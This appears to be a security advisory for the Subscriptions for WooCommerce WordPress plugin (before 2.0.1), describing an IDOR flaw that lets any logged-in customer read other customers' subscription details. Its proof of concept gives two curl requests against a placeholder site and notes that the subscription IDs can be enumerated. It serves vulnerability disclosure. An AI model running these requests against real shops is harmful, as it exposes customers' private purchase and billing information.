Subscriptions for WooCommerce < 2.0.1 – Subscriber+ Subscription Detail Disclosure via IDOR | CVE 2026-15214

Description

The plugin does not verify that the requester owns the subscription being viewed before rendering its details, allowing any authenticated customer to read another customer's subscription information (the subscribed product, status, and dates) by supplying that subscription's ID.

Proof of Concept

Prerequisites: Subscriptions for WooCommerce <= 2.0.0 + WooCommerce active; the plugin enabled (WP Swings > Subscriptions For WooCommerce > Enable Plugin = on). Two WooCommerce customer accounts: Customer B (victim) owns subscription <SID_B>; Customer A is the attacker. Subscription IDs are sequential order IDs and can be enumerated.

Path 1 - My Account endpoint (logged in as Customer A):
  curl -b '<custA-session-cookies>' 'https://victim.example/my-account/show-subscription/<SID_B>/'
  => HTTP 200 renders Customer B's subscription: product name + quantity, status, created / next-payment / expiry dates, subtotal.

Path 2 - [wps-subscription-dashboard] shortcode (on a page containing that shortcode):
  curl -b '<custA-session-cookies>' 'https://victim.example/<dashboard-page>/?wps-show-subscription=<SID_B>'
  => same cross-customer disclosure.

Negative control: request Customer A's OWN subscription id -> only Customer A's product appears, confirming the response reflects the requested id's owner (a genuine cross-read, not stale attacker data).